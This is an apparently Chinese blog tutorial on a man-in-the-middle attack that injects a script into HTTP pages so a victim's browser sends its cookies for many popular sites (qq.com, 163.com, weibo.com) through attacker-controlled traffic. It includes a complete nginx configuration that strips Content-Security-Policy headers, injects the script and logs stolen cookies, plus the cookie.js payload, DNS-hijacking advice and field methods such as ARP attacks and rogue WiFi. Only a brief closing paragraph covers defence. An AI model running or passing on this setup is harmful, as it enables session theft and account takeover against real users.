0x00 前言
分享箇中間人攻擊姿勢,屢試不爽。
原本是篇老文,不過寫的太囉嗦。今天用簡明的文字,重新講一遍。
0x01 原理
傳統 cookie 嗅探,只能獲得使用者主動訪問的站點。不訪問就抓不到,效率很低。
如果流量可控,不如在使用者訪問的頁面中注入一個指令碼。通過指令碼,就可以請求任意站點:
new Image().src = 'http://anyhost'
因為請求頭部會帶上 cookie,所以能把任意站點的 cookie 騙上流量,讓中間人拿到。
0x02 爆發
首先收集各大網站域名,然後挨個來一發:
var list = ['qq.com', '163.com', 'weibo.com', ...];
for (var i of list) {
new Image().src = 'http://' + i + '/__cookie';
}
這樣,就能把使用者各種網站的 cookie 都爆上一遍。
後端收到 /__cookie
請求,記錄其中的 cookie,然後返回一個空內容。於是只需極小的流量,就可以測試一個站點。
0x03 優化
因為收集了各種站點,所以需要大量的域名解析。
為了讓爆破更快,可以再劫持使用者的 DNS 請求,暫時解析成自己 IP,這樣域名查詢就不用走外網。
DNS
<----->
使用者 中間人 外網
<----->
HTTP
同時還有個巨大的好處:整個系統不依賴外網,可以離線劫持!
比如在沒網際網路的地方,開一個 WiFi 就能攻擊。
0x04 演示
我們用 nginx 來演示:
# nginx.conf
http {
resolver 114.114.114.114;
...
log_format record_cookie '$time_iso8601 $remote_addr $http_host $http_cookie';
# 靜態資源
server {
listen 8080;
server_name m.io;
gzip on;
#expires 1d;
root /path/to/;
}
# 代理服務
server {
listen 8080 default_server;
server_name _;
gzip on;
location / {
# 請求的是 html 資源,進入劫持流程
if ($http_accept ~ "text/html") {
rewrite ^ /__html;
}
# 其他資源,正常代理
proxy_pass http://$http_host;
}
# 頁面注入
location = /__html {
internal;
# 壓縮的內容無法 sub_filter,先解壓
proxy_set_header host $http_host;
proxy_pass http://127.0.0.1:50000$request_uri;
# 刪除 CSP 頭,防止被阻擋
proxy_hide_header Content-Security-Policy;
# 注入指令碼
sub_filter <head "<script src=//m.io/cookie.js></script><head";
}
# 記錄 cookie
location = /__cookie {
access_log /path/to/cookies.log record_cookie;
# 設定快取時間
# 避免每次訪問頁面,都產生大量請求(其實在 js 裡判斷會更好)
add_header Cache-Control "max-age=3600";
# 返回空內容
return 200;
}
}
# 解壓服務
server {
listen 127.0.0.1:50000;
gunzip on;
location / {
proxy_set_header Accept-Encoding deflate;
proxy_pass http://$host;
}
}
}
在 /path/to
目錄下,放置前端攻擊指令碼:
// cookie.js
(function(list) {
if (self != top) return;
list = list.split(' ');
for (var i = 0; i < list.length; i++) {
new Image().src = 'http://' + list[i] + '/__cookie';
}
})(
// 目標站點列表
'163.com qq.com weibo.com'
)
把瀏覽器的 HTTP 代理設成 127.0.0.1:8080,就可以演示了。
開啟任意 HTTP 頁面,就可以爆出使用者的各種 Cookie:
實戰方式有很多,能控制流量就行。比如 ARP 攻擊、釣魚 WiFi、釣魚代理,或者劫持小區 PPPoE 網路,等等。
0x05 防範
其實和 JSONP、Flash 隱私洩露類似,關閉瀏覽器「第三方 cookie」即可。
三方 cookie 百害而無一利,隱私洩露的罪魁禍首。